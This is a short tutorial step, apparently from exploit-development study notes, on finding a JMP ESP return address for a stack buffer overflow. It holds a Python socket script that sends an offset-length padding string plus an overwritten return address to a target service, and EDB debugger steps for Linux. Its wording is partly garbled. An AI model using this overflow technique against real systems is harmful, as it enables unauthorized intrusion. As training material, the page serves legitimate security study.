Previous

Finding Right Module (Return address)

In this we will find breakpoint, JMP ESP is breakpoint. Basically it will stop the program from further command and will wait for us to enter malicious commands

πŸ’‘
NOTE Remember to transfer all files along with vuln app in Enumeration as it will contain right module

🐍
import socket, sys
username = "test"
message = β€œA” * <offset location> + β€œ<reverse_format_value>”
//example: message = β€œA” * 2023 + β€œ\xaf\x11\x50\x62”
try:
print("Sending payload...")
s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
s.connect(('<ip>',<port>))
s.recv(1024)
s.send(username + '\r\n')
s.recv(1024)
s.send(message + '\r\n')
s.recv(1024)
s.close()
except:
print("Cannot connect to the server")
sys.exit()

πŸ’‘
For Linux


In EDB debugger , select plugin > OpcodeSearcher
In Jump Equivalent select ESP β†’ EIP , click vuln exec and click find